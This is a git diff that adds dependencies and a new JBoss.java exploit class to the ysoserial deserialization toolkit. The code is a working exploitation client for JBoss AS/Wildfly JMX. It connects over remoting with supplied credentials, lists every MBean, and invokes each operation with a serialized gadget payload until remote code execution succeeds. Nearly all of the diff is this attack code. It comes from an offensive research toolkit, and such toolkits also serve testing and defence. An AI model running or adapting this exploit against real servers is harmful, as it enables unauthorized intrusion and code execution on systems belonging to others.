diff --git a/pom.xml b/pom.xml
index 07f49ea..40e8006 100644
--- a/pom.xml
+++ b/pom.xml
@@ -118,6 +118,42 @@
org.jenkins-ci.main
2.55
+
+ org.jboss.logging
+ jboss-logging
+ 3.3.0.Final
+
+
+ org.jboss.remoting
+ jboss-remoting
+ 4.0.19.Final
+
+
+ org.jboss
+ jboss-common-core
+ 2.5.0.Final
+
+
+ org.jboss.logging
+ jboss-logging-spi
+
+
+
+
+ org.jboss.xnio
+ xnio-nio
+ 3.3.4.Final
+
+
+ org.jboss.sasl
+ jboss-sasl
+ 1.0.5.Final
+
+
+ org.jboss.remotingjmx
+ remoting-jmx
+ 2.0.1.Final
+
@@ -255,5 +291,6 @@
+
diff --git a/src/main/java/ysoserial/exploit/JBoss.java b/src/main/java/ysoserial/exploit/JBoss.java
new file mode 100644
index 0000000..58ddd7e
--- /dev/null
+++ b/src/main/java/ysoserial/exploit/JBoss.java
@@ -0,0 +1,503 @@
+package ysoserial.exploit;
+
+
+import java.io.IOException;
+import java.lang.reflect.InvocationTargetException;
+import java.lang.reflect.Method;
+import java.net.InetSocketAddress;
+import java.net.MalformedURLException;
+import java.net.SocketAddress;
+import java.net.URI;
+import java.security.KeyManagementException;
+import java.security.NoSuchAlgorithmException;
+import java.security.NoSuchProviderException;
+import java.util.HashMap;
+import java.util.Map;
+import java.util.Set;
+import java.util.concurrent.Executor;
+import java.util.concurrent.ExecutorService;
+import java.util.concurrent.Executors;
+import java.util.concurrent.ThreadFactory;
+import java.util.concurrent.TimeUnit;
+import java.util.logging.Handler;
+import java.util.logging.Level;
+import java.util.logging.LogManager;
+import java.util.logging.LogRecord;
+import java.util.logging.Logger;
+
+import javax.management.InstanceNotFoundException;
+import javax.management.IntrospectionException;
+import javax.management.MBeanInfo;
+import javax.management.MBeanOperationInfo;
+import javax.management.MBeanServerConnection;
+import javax.management.ObjectInstance;
+import javax.management.ReflectionException;
+import javax.management.remote.JMXServiceURL;
+import javax.security.auth.callback.Callback;
+import javax.security.auth.callback.CallbackHandler;
+import javax.security.auth.callback.NameCallback;
+import javax.security.auth.callback.PasswordCallback;
+import javax.security.auth.callback.UnsupportedCallbackException;
+import javax.security.sasl.RealmCallback;
+
+import org.jboss.remoting3.Channel;
+import org.jboss.remoting3.Connection;
+import org.jboss.remoting3.Endpoint;
+import org.jboss.remoting3.OpenListener;
+import org.jboss.remoting3.Remoting;
+import org.jboss.remoting3.remote.HttpUpgradeConnectionProviderFactory;
+import org.jboss.remoting3.spi.ConnectionHandler;
+import org.jboss.remoting3.spi.ConnectionHandlerContext;
+import org.jboss.remoting3.spi.ConnectionHandlerFactory;
+import org.jboss.remoting3.spi.ConnectionProvider;
+import org.jboss.remoting3.spi.ConnectionProviderContext;
+import org.jboss.remoting3.spi.RegisteredService;
+import org.jboss.remotingjmx.VersionedConnection;
+import org.xnio.FutureResult;
+import org.xnio.IoFuture;
+import org.xnio.IoFuture.Status;
+import org.xnio.OptionMap;
+import org.xnio.Options;
+import org.xnio.Xnio;
+import org.xnio.XnioWorker;
+import org.xnio.ssl.JsseXnioSsl;
+import org.xnio.ssl.XnioSsl;
+
+import ysoserial.payloads.ObjectPayload;
+import ysoserial.payloads.ObjectPayload.Utils;
+
+
+/**
+ *
+ * An exploitation client for JBoss AS/Wildfly JMX
+ *
+ * This is not as readily exploitable as in other pieces of software:
+ * 1. they only allow authenticated access by default
+ * 2. they have a very strict module architecture:
+ * - all MBeans exported by default use classloaders that expose almost nothing useful
+ * - the module classloaders do not even expose the full boot classpath, so we cannot readily use stuff like
+ * com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
+ *
+ *
+ *
+ * @author mbechler
+ *
+ */
+@SuppressWarnings ( {
+ "rawtypes"
+} )
+public class JBoss {
+
+ public static void main ( String[] args ) {
+
+ if ( args.length < 3 ) {
+ System.err.println("Usage " + JBoss.class.getName() + " ");
+ System.exit(-1);
+ }
+
+ URI u = URI.create(args[ 0 ]);
+
+ final Class extends ObjectPayload> payloadClass = Utils.getPayloadClass(args[ 1 ]);
+ if ( payloadClass == null || !ObjectPayload.class.isAssignableFrom(payloadClass) ) {
+ System.err.println("Invalid payload type '" + args[ 1 ] + "'");
+ System.exit(-1);
+ return;
+ }
+
+ final Object payloadObject;
+ try {
+ final ObjectPayload payload = payloadClass.newInstance();
+ payloadObject = payload.getObject(args[ 2 ]);
+ }
+ catch ( Exception e ) {
+ System.err.println("Failed to construct payload");
+ e.printStackTrace(System.err);
+ System.exit(-1);
+ return;
+ }
+
+ String username = null;
+ String password = null;
+ if ( u.getUserInfo() != null ) {
+ int sep = u.getUserInfo().indexOf(':');
+ if ( sep >= 0 ) {
+ username = u.getUserInfo().substring(0, sep);
+ password = u.getUserInfo().substring(sep + 1);
+ }
+ else {
+ System.err.println("Need :@");
+ System.exit(-1);
+ }
+ }
+
+ doRun(u, payloadObject, username, password);
+
+ }
+
+
+
+ /**
+ * @param u
+ * @param payloadObject
+ * @param username
+ * @param password
+ */
+ private static void doRun ( URI u, final Object payloadObject, String username, String password ) {
+ ConnectionProvider instance = null;
+ ConnectionProviderContextImpl context = null;
+ ConnectionHandler ch = null;
+ Channel c = null;
+ VersionedConnection vc = null;
+ try {
+ Logger logger = LogManager.getLogManager().getLogger("");
+ logger.addHandler(new ConsoleLogHandler());
+ logger.setLevel(Level.INFO);
+ OptionMap options = OptionMap.builder().set(Options.SSL_ENABLED, u.getScheme().equals("https")).getMap();
+ context = new ConnectionProviderContextImpl(options, "endpoint");
+ instance = new HttpUpgradeConnectionProviderFactory().createInstance(context, options);
+ String host = u.getHost();
+ int port = u.getPort() > 0 ? u.getPort() : 9990;
+ SocketAddress destination = new InetSocketAddress(host, port);
+ ConnectionHandlerFactory chf = getConnection(destination, username, password, context, instance, options);
+ ch = chf.createInstance(new ConnectionHandlerContextImpl(context));
+ c = getChannel(context, ch, options);
+ System.err.println("Connected");
+ vc = makeVersionedConnection(c);
+ MBeanServerConnection mbc = vc.getMBeanServerConnection(null);
+ doExploit(payloadObject, mbc);
+ System.err.println("DONE");
+ }
+ catch ( Throwable e ) {
+ e.printStackTrace(System.err);
+ }
+ finally {
+ cleanup(instance, context, ch, c, vc);
+ }
+ }
+
+
+
+ /**
+ * @param instance
+ * @param context
+ * @param ch
+ * @param c
+ * @param vc
+ */
+ private static void cleanup ( ConnectionProvider instance, ConnectionProviderContextImpl context, ConnectionHandler ch, Channel c,
+ VersionedConnection vc ) {
+ if ( vc != null ) {
+ vc.close();
+ }
+
+ if ( c != null ) {
+ try {
+ c.close();
+ }
+ catch ( IOException e ) {
+ e.printStackTrace(System.err);
+ }
+ }
+
+ if ( ch != null ) {
+ try {
+ ch.close();
+ }
+ catch ( IOException e ) {
+ e.printStackTrace(System.err);
+ }
+ }
+ if ( instance != null ) {
+ try {
+ instance.close();
+ }
+ catch ( IOException e ) {
+ e.printStackTrace(System.err);
+ }
+ }
+
+ if ( context != null ) {
+ context.getXnioWorker().shutdown();
+ }
+ }
+
+
+ /**
+ * @param destination
+ * @param username
+ * @param password
+ * @param context
+ * @param instance
+ * @param options
+ * @param xnioSsl
+ * @return
+ * @throws IOException
+ * @throws InterruptedException
+ * @throws NoSuchAlgorithmException
+ * @throws NoSuchProviderException
+ * @throws KeyManagementException
+ */
+ private static ConnectionHandlerFactory getConnection ( SocketAddress destination, final String username, final String password,
+ ConnectionProviderContextImpl context, ConnectionProvider instance, OptionMap options )
+ throws IOException, InterruptedException, KeyManagementException, NoSuchProviderException, NoSuchAlgorithmException {
+ XnioSsl xnioSsl = new JsseXnioSsl(context.getXnio(), options);
+ FutureResult result = new FutureResult();
+ instance.connect(null, destination, options, result, new CallbackHandler() {
+
+ public void handle ( Callback[] callbacks ) throws IOException, UnsupportedCallbackException {
+
+ for ( Callback cb : callbacks ) {
+
+ if ( cb instanceof NameCallback ) {
+ ( (NameCallback) cb ).setName(username);
+ }
+ else if ( cb instanceof PasswordCallback ) {
+ ( (PasswordCallback) cb ).setPassword(password != null ? password.toCharArray() : new char[0]);
+ }
+ else if ( !( cb instanceof RealmCallback) ) {
+ System.err.println(cb);
+ throw new UnsupportedCallbackException(cb);
+ }
+ }
+ }
+ }, xnioSsl);
+
+ System.err.println("waiting for connection");
+ IoFuture ioFuture = result.getIoFuture();
+ Status s = ioFuture.await(5, TimeUnit.SECONDS);
+ if ( s == Status.FAILED ) {
+ System.err.println("Cannot connect");
+ if ( ioFuture.getException() != null ) {
+ ioFuture.getException().printStackTrace(System.err);
+ }
+ }
+ else if ( s != Status.DONE ) {
+ ioFuture.cancel();
+ System.err.println("Connect timeout");
+ System.exit(-1);
+ }
+
+ ConnectionHandlerFactory chf = ioFuture.getInterruptibly();
+ return chf;
+ }
+
+
+ /**
+ * @param context
+ * @param ch
+ * @param options
+ * @return
+ * @throws IOException
+ */
+ private static Channel getChannel ( ConnectionProviderContextImpl context, ConnectionHandler ch, OptionMap options ) throws IOException {
+ Channel c;
+ FutureResult chResult = new FutureResult(context.getExecutor());
+ ch.open("jmx", chResult, options);
+
+ IoFuture cFuture = chResult.getIoFuture();
+ Status s2 = cFuture.await();
+ if ( s2 == Status.FAILED ) {
+ System.err.println("Cannot connect");
+ if ( cFuture.getException() != null ) {
+ throw new IOException("Connect failed", cFuture.getException());
+ }
+ }
+ else if ( s2 != Status.DONE ) {
+ cFuture.cancel();
+ throw new IOException("Connect timeout");
+ }
+
+ c = cFuture.get();
+ return c;
+ }
+
+
+ /**
+ * @param c
+ * @return
+ * @throws ClassNotFoundException
+ * @throws NoSuchMethodException
+ * @throws IllegalAccessException
+ * @throws InvocationTargetException
+ * @throws MalformedURLException
+ */
+ private static VersionedConnection makeVersionedConnection ( Channel c )
+ throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, MalformedURLException {
+ VersionedConnection vc;
+ Class> vcf = Class.forName("org.jboss.remotingjmx.VersionedConectionFactory");
+ Method vcCreate = vcf.getDeclaredMethod("createVersionedConnection", Channel.class, Map.class, JMXServiceURL.class);
+ vcCreate.setAccessible(true);
+ vc = (VersionedConnection) vcCreate.invoke(null, c, new HashMap(), new JMXServiceURL("service:jmx:remoting-jmx://"));
+ return vc;
+ }
+
+
+ /**
+ * @param payloadObject
+ * @param mbc
+ * @throws IOException
+ * @throws InstanceNotFoundException
+ * @throws IntrospectionException
+ * @throws ReflectionException
+ */
+ private static void doExploit ( final Object payloadObject, MBeanServerConnection mbc )
+ throws IOException, InstanceNotFoundException, IntrospectionException, ReflectionException {
+ Object[] params = new Object[1];
+ params[ 0 ] = payloadObject;
+ System.err.println("Querying MBeans");
+ Set testMBeans = mbc.queryMBeans(null, null);
+ System.err.println("Found " + testMBeans.size() + " MBeans");
+ for ( ObjectInstance oi : testMBeans ) {
+ MBeanInfo mBeanInfo = mbc.getMBeanInfo(oi.getObjectName());
+ for ( MBeanOperationInfo opInfo : mBeanInfo.getOperations() ) {
+ try {
+ mbc.invoke(oi.getObjectName(), opInfo.getName(), params, new String[] {});
+ System.err.println(oi.getObjectName() + ":" + opInfo.getName() + " -> SUCCESS");
+ return;
+ }
+ catch ( Throwable e ) {
+ String msg = e.getMessage();
+ if ( msg.startsWith("java.lang.ClassNotFoundException:") ) {
+ int start = msg.indexOf('"');
+ int stop = msg.indexOf('"', start + 1);
+ String module = ( start >= 0 && stop > 0 ) ? msg.substring(start + 1, stop) : "";
+ if ( !"".equals(module) && !"org.jboss.as.jmx:main".equals(module) ) {
+ int cstart = msg.indexOf(':');
+ int cend = msg.indexOf(' ', cstart + 2);
+ String cls = msg.substring(cstart + 2, cend);
+ System.err.println(oi.getObjectName() + ":" + opInfo.getName() + " -> FAIL CNFE " + cls + " (" + module + ")");
+ }
+ }
+ else {
+ System.err.println(oi.getObjectName() + ":" + opInfo.getName() + " -> SUCCESS|ERROR " + msg);
+ return;
+ }
+ }
+ }
+ }
+ }
+
+ /**
+ * @author mbechler
+ *
+ */
+ private static final class ConsoleLogHandler extends Handler {
+
+
+ @Override
+ public void publish ( LogRecord record ) {
+ System.err.println(record.getMessage());
+ }
+
+
+ @Override
+ public void flush () {
+
+ }
+
+
+ @Override
+ public void close () throws SecurityException {}
+ }
+
+ /**
+ * @author mbechler
+ *
+ */
+ private static final class ConnectionHandlerContextImpl implements ConnectionHandlerContext {
+
+ private ConnectionProviderContextImpl context;
+
+
+ /**
+ * @param context
+ */
+ public ConnectionHandlerContextImpl ( ConnectionProviderContextImpl context ) {
+ this.context = context;
+ }
+
+
+ public void remoteClosed () {}
+
+
+ public OpenListener getServiceOpenListener ( String serviceType ) {
+ return null;
+ }
+
+
+ public RegisteredService getRegisteredService ( String serviceType ) {
+ return null;
+ }
+
+
+ public ConnectionProviderContext getConnectionProviderContext () {
+ return this.context;
+ }
+
+
+ public Connection getConnection () {
+ return null;
+ }
+ }
+
+ /**
+ * @author mbechler
+ *
+ */
+ private static final class ConnectionProviderContextImpl implements ConnectionProviderContext {
+
+ private XnioWorker worker;
+ private ExecutorService executor;
+ private Xnio instance;
+ private Endpoint endpoint;
+
+
+ /**
+ * @param endpointName
+ * @throws IOException
+ * @throws IllegalArgumentException
+ *
+ */
+ public ConnectionProviderContextImpl ( OptionMap opts, String endpointName ) throws IllegalArgumentException, IOException {
+ this.instance = Xnio.getInstance();
+
+ this.worker = this.instance.createWorker(opts);
+ this.endpoint = Remoting.createEndpoint(endpointName, this.worker, opts);
+ this.executor = Executors.newCachedThreadPool(new ThreadFactory() {
+
+ public Thread newThread ( Runnable r ) {
+ Thread t = new Thread(r, "Worker");
+ t.setDaemon(true);
+ return t;
+ }
+ });
+ }
+
+
+ public XnioWorker getXnioWorker () {
+ return this.worker;
+ }
+
+
+ public Xnio getXnio () {
+ return this.instance;
+ }
+
+
+ public Executor getExecutor () {
+ return this.executor;
+ }
+
+
+ public Endpoint getEndpoint () {
+ return this.endpoint;
+ }
+
+
+ public void accept ( ConnectionHandlerFactory connectionHandlerFactory ) {
+ System.err.println("accept");
+ }
+
+ }
+
+}